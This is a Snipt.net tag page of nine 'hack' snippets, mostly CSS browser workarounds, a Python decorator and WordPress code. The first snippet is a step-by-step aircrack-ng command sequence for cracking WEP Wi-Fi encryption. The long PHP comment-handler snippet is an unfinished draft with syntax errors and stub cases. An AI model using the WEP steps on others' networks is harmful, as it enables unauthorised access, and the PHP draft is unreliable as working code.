IMPORTANT!

Snipt is going open source. We've toyed with this idea for quite a while, and have finally decided it's the right way to move forward.

A few things:
  • The entire Snipt source code will be released on GitHub under the 3-clause BSD License on Friday, September 10th.
  • While we'd like to think we're perfect, we realize we're only human. By open sourcing the software that runs this website, certain bugs or security flaws may be discovered that could compromise the privacy of your snipts.
  • Only the Lion Burger team will be able to push commits to the Snipt.net site. Contributors should send a pull request to add new features or submit patches.
  • By using this site, you agree not to be too angry or take any legal action against Lion Burger should this whole thing go up in flames some day.
  • Follow us on Twitter for updates.
I agree, close this message
Sign up to create your own snipts, or login.

Latest 100 public snipts » hack The latest public hack snipts.

showing 1-9 of 9 snipts for hack
  • Crack WEP with BackTrack 4
    airmon-ng start [interface]
    
    airodump-ng [interface]
    
    --write down--
    bssid, channel
    
    --leave running in seperate terminal--
    airodump-ng -w [filename] -c [channel] -bssid [bssid] [interface]
    
    --associate--
    aireplay-ng -1 0 -a [bssid] [interface] 
    
    --attack--
    aireplay-ng -3 -b [bssid] [interface]
    
    --crack @ 100,000 #DATA--
    aircrack-ng [filename.cap]
    

    copy | embed

    0 comments - tagged in  posted by binaryghost on Feb 19, 2010 at 2:50 p.m. EST
  • Easy css hacks using SASS
    //Easy CSS Hacks using SASS
    // In most cases, you'll never need the 3rd, or 4th hacks here.
    
    #idtag
    	* html &
    		//IE6 and below
    		cssstyle: value
    	* first-child+html &
    		//IE7 only
    		cssstyle: value
    	html>body &
    		//IE7,IE8, and modern browsers
    		cssstyle: value
    	html:first-child &
    		//Opera only 9 and below
    		cssstyle: value
    	
    

    copy | embed

    2 comments - tagged in  posted by catcubed on Dec 02, 2009 at 3:39 p.m. EST
  • Fix for mir image replacement (IE6)
    .mir {letter-spacing : -1000em; text-indent : -999em; overflow : hidden;}
    

    copy | embed

    1 comment - tagged in  posted by nell on May 27, 2009 at 8:11 p.m. EDT
  • IE 6 min-height hack
    selector {
    	min-height:500px;
    	height:auto !important;
    	height:500px;
    }
    

    copy | embed

    0 comments - tagged in  posted by dowon on Apr 28, 2009 at 2:27 a.m. EDT
  • Disqus Wordpress Plugin Fix Disabled Comments Pages
    	// modified disqus.php in Disqus Wordpress Plugin file dir
    	// Added by SwB to fix the comments_disabled obedience of disqus plugin...
    	if ( ('closed' == $post->comment_status) || ('page' == $post->post_type)){
    		return;
    	}
    	// End SwB Added.
    
    	if ( ! (is_single() || is_page() || $withcomments) ) {
    		return;
    	}
    

    copy | embed

    0 comments - tagged in  posted by swbratcher on Apr 14, 2009 at 2:17 p.m. EDT
  • Safari Hack
    @media screen and (-webkit-min-device-pixel-ratio:0) {
         body { background-color: blue; }
    }
    

    copy | embed

    1 comment - tagged in  posted by priestap on Mar 20, 2009 at 1:41 a.m. EDT
  • Decorator to call the super method automagically.
    class CallSuper(Exception): pass
    
    
    def callsuper(method):
        """
        Decorator for calling the super method automagically.
        
        In the submethod, if a ``CallSuper`` exception is raised at any point, then
        the wrapper will look up the class's MRO (method resolution order) for a
        method of the same name. If none is found, the exception is allowed to
        permeate. If one is found, it too is wrapped with the ``callsuper``
        decorator and called with the arguments passed to ``CallSuper.__init__()``.
        """
        def callsuper_wrapper(self, *args):
            try:
                return method(self, *args)
            except CallSuper, exc:
                supermethod, name = None, method.__name__
                for base in self.__class__.mro()[1:]:
                    if (hasattr(base, name) and
                        hasattr(getattr(base, name), '__call__')):
                        supermethod = callsuper(getattr(base, name))
                        break
                if not supermethod:
                    raise
                return supermethod(self, *exc.args)
        callsuper_wrapper.__name__ = method.__name__
        callsuper_wrapper.__doc__ = method.__doc__
        return callsuper_wrapper
    
    # Test it out
    
    global COUNTER
    COUNTER = 0
    
    class SuperClass(object):
        
        def method(self):
            global COUNTER
            COUNTER += 1 # Increment counter.
    
    class SubClass(SuperClass):
        
        @callsuper
        def method(self):
            global COUNTER
            COUNTER += 1 # Increment counter.
            raise CallSuper
    
    SubClass().method()
    assert COUNTER == 2
    

    copy | embed

    0 comments - tagged in  posted by zvoase on Feb 10, 2009 at 12:15 p.m. EST
  • WordPress comment form POST processor replacement
    <?php
    // ********************************************************************
    // * ISPYA-COMMENTS-POST.PHP - ISPYA plug replaces the standard WP    *
    // * comments form posting behavior by hooking the WP 'init' action   *
    // * event. This allows us to upload image files as attachments to    *
    // * anonymous comments with appropriate processing of the files and  *
    // * automatic registration of the posters.                           *
    // * NOTE: we use the existing WP code but add autoreg and user login *
    // * state management using PHP Sessions.
    // * -----------------------------------------------------------------*
    // * Author: Michael A. Hobson                                        *
    // * Last Modified: 20081222-1448                                     *
    // ********************************************************************
    /**
     * Handles Comment Post to WordPress and prevents duplicate comment posting.
     *
     * @package WordPress
     */
    
    /*
    ********************************************************************
    if ( 'POST' != $_SERVER['REQUEST_METHOD'] ) {
      header('Allow: POST');
      header('HTTP/1.1 405 Method Not Allowed');
      header('Content-Type: text/plain');
      exit;
    }
    
    // ** Sets up the WordPress Environment. /
    require( dirname(__FILE__) . '/wp-load.php' );
    ********************************************************************
    */
    
    // ******************************************************************
    // * ispya_destroy_session_state() - Save all session variables     *
    // * used by this script to maintain comment media upload process-  *
    // * ing state.                                                     *
    // ******************************************************************
    function ispya_destroy_session_state() {
    
      unset($_SESSION['ispya_redirect_to']);
      unset($_SESSION['ispya_comment_post_next_state']);
      unset($_SESSION['ispya_comment_post_last_state']);
      unset($_SESSION['ispya_comment_post_ID']);
      unset($_SESSION['ispya_comment_post_author']);
      unset($_SESSION['ispya_comment_post_author_email']);
      unset($_SESSION['ispya_comment_post_author_url']);
      unset($_SESSION['ispya_comment_post_content']);
      unset($_SESSION['ispya_file_was_uploaded']);
      unset($_SESSION['ispya_upload_was_good']);
      unset($_SESSION['ispya_comment_post_user_ID']);
      unset($_SESSION['ispya_comment_login_required']);
      unset($_SESSION['ispya_comment_user_logged_in'];
    }
    
    // ******************************************************************
    // * ispya_save_session_state() - Save all session variables used by this *
    // * script to maintain comment media upload processing state.      *                                                       *
    // ******************************************************************
    function ispya_save_session_state() {
      global $comment_post_next_state;    
      global $comment_post_last_state;
      global $redirect_to;
      global $comment_post_ID;        
      global $comment_author;         
      global $comment_author_email;   
      global $comment_author_url;     
      global $comment_content;        
      global $file_was_uploaded;      
      global $upload_was_good;  
      global $comment_post_user_ID;   
      global $comment_login_required;
      global $called_from_self;
    
      $_SESSION['ispya_comment_post_next_state']   = $comment_post_next_state;
      $_SESSION['ispya_comment_post_last_state']   = $comment_post_last_state;
      $_SESSION['ispya_comment_post_ID']           = $comment_post_ID;
      $_SESSION['ispya_comment_post_author']       = $comment_author;
      $_SESSION['ispya_comment_post_author_email'] = $comment_author_email;
      $_SESSION['ispya_comment_post_author_url']   = $comment_author_url;
      $_SESSION['ispya_comment_post_content']      = $comment_content;
      $_SESSION['ispya_file_was_uploaded']         = $file_was_uploaded;
      $_SESSION['ispya_upload_was_good']           = $upload_was_good;
      $_SESSION['ispya_comment_post_user_ID']      = $comment_post_user_ID;
      $_SESSION['ispya_comment_login_required']    = $comment_login_required;
      $_SESSION['ispya_comment_user_logged_in']    = $comment_user_logged_in;
    }
    
    // ******************************************************************
    // * ispya_restore_session_state() - Save session variables used by *
    // * by this script to maintain comment media upload processing     *
    // * state.                                                         *
    // ******************************************************************
    function ispya_restore_session_state() {
      global $comment_post_next_state;    
      global $comment_post_last_stat;
      global $redirect_to;
      global $comment_post_ID;        
      global $comment_author;         
      global $comment_author_email;   
      global $comment_author_url;     
      global $comment_content;        
      global $file_was_uploaded;      
      global $upload_was_good;  
      global $comment_post_user_ID;   
      global $comment_login_required;
      global $comment_user_logged_in;
     
      // check whether we have any session state preserved
      if (!ispya_called_from_self()) {
        // clear all session variables as we are in a new comment
        // form submission POST request
        ispya_destroy_session_state();
        
        $_SESSION['ispya_comment_post_next_state'] = 
                  $comment_post_next_state      = ISPYA_CMU_COMMENT_NEW;
        $_SESSION['ispya_comment_post_last_state'] =
                  $comment_post_last_state = ISPYA_CMU_IDLE;
        $_SESSION['ispya_comment_post_ID'] =
                  $comment_post_ID = (int) $_POST['comment_post_ID'];
        $_SESSION['ispya_redirect_to'] =
                  $redirect_to = (int) $_POST['redirect_to'];
        }
      else {
        // restore all session state variables
        $comment_post_next_state = $_SESSION['ispya_comment_post_next_state'];
        $comment_post_last_state = $_SESSION['ispya_comment_post_last_state'];
        $comment_post_ID         = $_SESSION['ispya_comment_post_ID'];                    
        $comment_author          = $_SESSION['ispya_comment_post_author'];                
        $comment_author_email    = $_SESSION['ispya_comment_post_author_email'];          
        $comment_author_url      = $_SESSION['ispya_comment_post_author_url'];            
        $comment_content         = $_SESSION['ispya_comment_post_content'];               
        $file_was_uploaded       = $_SESSION['ispya_file_was_uploaded'];                  
        $upload_was_good         = $_SESSION['ispya_upload_was_good'];                    
        $comment_post_user_ID    = $_SESSION['ispya_comment_post_user_ID'];               
        $comment_login_required  = $_SESSION['ispya_comment_login_required'];
        $comment_user_logged_in  = $_SESSION['ispya_comment_user_logged_in'];              
        }
    }
    
    //*******************************************************************
    //*  ispya_process_comment_post() - overrides WP-COMMENT-POST.PHP   *
    //*  comment form POST processing.                                  *
    //*******************************************************************
    
    function ispya_process_comment_post() {
      global $wpdb;
      global $called_from_self;
     
      // Session state variables preserved across successive 
      // invocations of WP-COMMENT-POST.PHP 
      global $comment_post_next_state;    
      global $comment_post_last_stat;
      global $comment_post_ID;        
      global $comment_author;         
      global $comment_author_email;   
      global $comment_author_url;     
      global $comment_content;        
      global $file_was_uploaded;      
      global $ispya_upload_was_good;  
      global $comment_post_user_ID;   
      global $comment_login_required;
      global $comment_user_logged_in;
    
      nocache_headers();
      $self_server = $_SERVER['HTTP_HOST'];
      $php_self    = $_SERVER['PHP_SELF'];
      $self_uri    = 'http://' . $self_server . $php_self;
      $referer_uri = $_SERVER['HTTP_REFERER'];
    
      $output_ispya_dialog = false;
      ispya_restore_session_state();
      
      // ****************************************************************
      // * Process dialog form user responses as needed                 *
      // ****************************************************************
      $called_from_self = ispya_called_from_self();
      if ($called_from_self) {
        switch ($comment_post_last_state) {
        
        
        
        
        
        
        }  
      }
      
      // ****************************************************************
      // * Test/Debug Messages                                          *
      // ****************************************************************
    
      if (ISPYA_TEST_COMMENT_POST_MESSAGE) {
        $output_ispya_dialog = true;
        $ispya_dialog_heading = '<h2>ISPYA Comment POST Handler Test</h2>';
        $ispya_dialog_content = '<FORM ACTION="' . $self_uri . 
            '" METHOD="POST" ENCTYPE="application/x-www-form-urlencoded">' .
            "<p><b>self_uri:</b>self_uri:</b>$self_uri<br /><b>referer_uri:</b>$referer_uri<br />" . 
            '<b>called_from_self:</b>' . ($called_from_self ? 'true' : 'false') . '</b></p>' .
            "<p><b>comment_post_ID:</b>$comment_post_ID</b></p>" . 
            '<INPUT type="submit" name="ispya_dialog" value="Click Here To Submit">' .
            '</FORM>'; 
      }
    
      // ****************************************************************
      // * Comment Form POST processing finite state machine.           *
      // ****************************************************************
      
      $comment_post_FSM = COMMENT_POST_FSM_RUN;
      $comment_post_state = $comment_post_next_state;
      while ($comment_post_FSM) {
        // Do the appropriate thing based upon current machine state
        select ($comment_post_state) {
    
          // ************************************************************
          // * New comment form submission. Get all information related *
          // * to the form submission and any possible media attachment.*
          // ************************************************************
          case ISPYA_CMU_COMMENT_NEW:
          
            // Preserve all information we can about the initial
            // post from the form data and context. This only has
            // to be done one time per comment post.
    
            $comment_post_ID = (int) $_POST['comment_post_ID'];
    
            $status = $wpdb->get_row( $wpdb->prepare("SELECT post_status, 
                comment_status FROM $wpdb->posts WHERE ID = %d", $comment_post_ID) );
    
            if ( empty($status->comment_status) ) {
              do_action('comment_id_not_found', $comment_post_ID);
              exit;
            } elseif ( !comments_open($comment_post_ID) ) {
              do_action('comment_closed', $comment_post_ID);
              wp_die( __('Sorry, comments are closed for this item.') );
            } elseif ( in_array($status->post_status, array('draft', 'pending') ) ) {
              do_action('comment_on_draft', $comment_post_ID);
              exit;
            }
    
            // get fields from POST variables
            $comment_author       = trim(strip_tags($_POST['author']));
            $comment_author_email = trim($_POST['email']);
            $comment_author_url   = trim($_POST['url']);
            $comment_content      = trim($_POST['comment']);
          
            // Were comment media uploads enabled for this particular post?
            $media_upload_allowed   = false;
            $file_was_uploaded      = false;
            $upload_was_good        = false;
            $comment_login_required = false;
            $comment_user_logged_in = false;
            
            // ***      Determine next FSM state     ***  
            $comment_post_last_state = $comment_post_next_state;
            
            // file upload status determines next state
            if (ispya_media_upload_allowed($comment_post_ID)) {
              $media_upload_allowed = true;
              $file_was_uploaded = !$ispya_file_not_uploaded();
              $upload_was_good   = $ispya_file_upload_OK();
              
              if ($file_was_uploaded && !$upload_was_good) 
               $comment_post_next_state = ISPYA_CMU_UPLOAD_ERROR;
             } else   
              $comment_post_next_state = ISPYA_CMU_GET_LOGIN;
            break;        // transition to next FSM state
    
          // ************************************************************
          // * Media Attachment Upload Error                            *
          // ************************************************************
          case ISPYA_CMU_UPLOAD_ERROR:
          
            $ispya_dialog_heading = '<h2>Photo Upload Error!</h2>';
            $ispya_dialog_content = '<FORM ACTION="' . $self_uri . 
                  '" METHOD="POST" ENCTYPE="application/x-www-form-urlencoded">'      .
                  '<p><b>We're sorry, but there was an error uploading your photo.'   .
                  'Please try again or contact the site administrator, if you cannot' .
                  'upload successfully.</b></p>'                                      . 
                  '<INPUT type="submit" name="ispya_dialog" value="Continue">'        .
                  '</FORM>'; 
    
            // display error message dialog
            $output_ispya_dialog = true;
            $comment_post_next_state = ISPYA_CMU_POST_DONE;
            $comment_post_FSM        = COMMENT_POST_FSM_STOP;
            break;      // transition to next FSM state
            
          // ************************************************************
          // * Get valid user login status.                             *
          // ************************************************************
          case ISPYA_CMU_GET_LOGIN:
    
            // initial user check
            $user   = wp_get_current_user();
            $user_ID = $user->ID;
            $comment_user_logged_in = false;
    
            if ($media_upload_allowed && $file_was_uploaded && $upload_was good)
              $comment_login_required = true;
            
            // If the user is logged in
            $user = wp_get_current_user();
            if ( $user_ID ) {
              $comment_user_logged_in = true;
              $comment_author       = $wpdb->escape($user->display_name);
              $comment_author_email = $wpdb->escape($user->user_email);
              $comment_author_url   = $wpdb->escape($user->user_url);
              if ( current_user_can('unfiltered_html') ) {
                if ( wp_create_nonce('unfiltered-html-comment_' . $comment_post_ID) != $_POST['_wp_unfiltered_html_comment'] ) {
                  kses_remove_filters(); // start with a clean slate
                  kses_init_filters();   // set up the filters
                  }
                }
              } else {
                if ( get_option('comment_registration') )
                  wp_die( __('Sorry, you must be logged in to post a comment.') );
                }
            break;    // transition to next FSM state
    
          // ************************************************************
          // * LOGIN Error                                              *
          // ************************************************************
           
          case ISPYA_CMU_LOGIN_ERROR:
            break;    // transition to next FSM state
    
          // ************************************************************
          // * Attempt to automatically register comment poster         *
          // ************************************************************
           
          case ISPYA_CMU_AUTOREGISTER:
            break;    // transition to next FSM state
    
          // ************************************************************
          // * Autoregistration Error                                   *
          // ************************************************************
           
          case ISPYA_CMU_AUTOREGISTER_ERROR:
            break;    // transition to next FSM state
    
          // ************************************************************
          // * Add Comment Record to Database                           *
          // ************************************************************
           
          case ISPYA_CMU_COMMENT_ADD:
     
            $comment_type = '';
    
            if ( get_option('require_name_email') && !$user->ID ) {
              if ( 6 > strlen($comment_author_email) || '' == $comment_author )
                wp_die( __('Error: please fill the required fields (name, email).') );
              elseif ( !is_email($comment_author_email))
                wp_die( __('Error: please enter a valid email address.') );
            }
    
            if ( '' == $comment_content )
              wp_die( __('Error: please type a comment.') );
    
            $commentdata = compact('comment_post_ID', 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_content', 'comment_type', 'user_ID');
    
            $comment_id = wp_new_comment( $commentdata );
    
            $comment = get_comment($comment_id);
    
            break;    // transition to next FSM state
    
          // ************************************************************
          // * Error Adding Comment Record to Database                  *
          // ************************************************************
           
          case ISPYA_CMU_COMMENT_ADD_ERROR:
            break;    // transition to next FSM state
     
          // ************************************************************
          // * Add Comment Media Attachments to Database                *
          // ************************************************************
           
          case ISPYA_CMU_MEDIA_ADD:
          
            if (!$media_added) {
              $ispya_dialog_heading = '<h2>Photo Upload Error!</h2>';
              $ispya_dialog_content = '<FORM ACTION="' . $self_uri                 . 
                  '" METHOD="POST" ENCTYPE="application/x-www-form-urlencoded">'   .
                  '<p><b>We're sorry, but your photo could not be added to our '   .
                  'contest database.<br>'                                          .
                  'Please try again or contact the site administrator, '           .
                  'if you continue to experience difficulty.</b></p>'              . 
                  '<INPUT type="submit" name="ispya_dialog" value="Continue">'.
                  '</FORM>';
     
              // destroy the comment that was just added to the database
              ispya_destroy_comment_and_upload($comment_ID);
              $output_ispya_dialog = true;
              $         
              }
         
            break;    // transition to next FSM state
     
          // ************************************************************
          // * Error Adding Comment Media Attachments to Database       *
          // ************************************************************
           
          case ISPYA_CMU_MEDIA_ADD_ERROR:
            break;    // transition to next FSM state
           
          // ************************************************************
          // * Comment Form POST Handling All Done                      * 
          // ************************************************************
           
          case ISPYA_CMU_COMMENT_POST_DONE:
     
          if ( !$user->ID ) {
              setcookie('comment_author_' . COOKIEHASH, $comment->comment_author, time() + 30000000, COOKIEPATH, COOKIE_DOMAIN);
              setcookie('comment_author_email_' . COOKIEHASH, $comment->comment_author_email, time() + 30000000, COOKIEPATH, COOKIE_DOMAIN);
              setcookie('comment_author_url_' . COOKIEHASH, clean_url($comment->comment_author_url), time() + 30000000, COOKIEPATH, COOKIE_DOMAIN);
            }
    
            $location = ( empty($_POST['redirect_to']) ? get_permalink($comment_post_ID) : $_POST['redirect_to'] ) . '#comment-' . $comment_id;
            $location = apply_filters('comment_post_redirect', $location, $comment);
    
            wp_redirect($location);
            
            $comment_post_FSM = COMMENT_POST_FSM_STOP;
            break;    // transition to next FSM state
            
          }  // end of select ($comment_post_next_state) 
        $comment_post_last_state = $comment_post_state;
        $comment_post_state      = $comment_post_next_state;
        }    // end of while($comment_post_FSM) 
    
      //********************************************************************
      //** Terminate WP-COMMENT-POST.PHP script processing for current    **
      //** invocation here. Either an ISPYA dialog will be displayed on   **
      //** the user's browser (which ultimate returns to this script), or **
      //** we've finished all comment form POST processing and need to    **
      //** return to WP's main script.                                    **
      //********************************************************************
      if ($output_ispya_dialog) {
          ispya_save_session_state();
          wp();                                         // initialize wordpress system & query
          include(TEMPLATEPATH . '/ispya-dialog.php');  // output the ispya dialog within current theme
          }
      else {
          ispya_destroy_session_state();
          $location = ( empty($redirect_to) ? get_permalink($comment_post_ID) : $redirect_to ) . '#comment-' . $comment_id;
          $location = apply_filters('comment_post_redirect', $location, $comment);
     
          wp_redirect($location);
          }
    
      exit(0);
      }
    
    ?>
    

    copy | embed

    0 comments - tagged in  posted by mhobson2007 on Dec 27, 2008 at 10:33 p.m. EST
  • ie max & min width
    /* Fallback if JavaScript is disabled */
        width: 960px;
    
        /* JS-Expression for min-/max-width simulation */
        width: expression((document.documentElement && document.documentElement.clientHeight) ? ((document.documentElement.clientWidth < 740) ? "740px" : ((document.documentElement.clientWidth > (80 * 16 * (parseInt(this.parentNode.currentStyle.fontSize) / 100))) ? "80em" : "auto" )) : ((document.body.clientWidth < 740) ? "740px" : ((document.body.clientWidth > (80 * 16 * (parseInt(this.parentNode.currentStyle.fontSize) / 100))) ? "80em" : "auto" )));
    
    
    or the easyer with px:
    
    width:expression(document.body.clientWidth < 742? "740px" : document.body.clientWidth > 1070? "968px" : "auto") !important;
    

    copy | embed

    0 comments - tagged in  posted by curosio on Dec 11, 2008 at 3:32 a.m. EST
Sign up to create your own snipts, or login.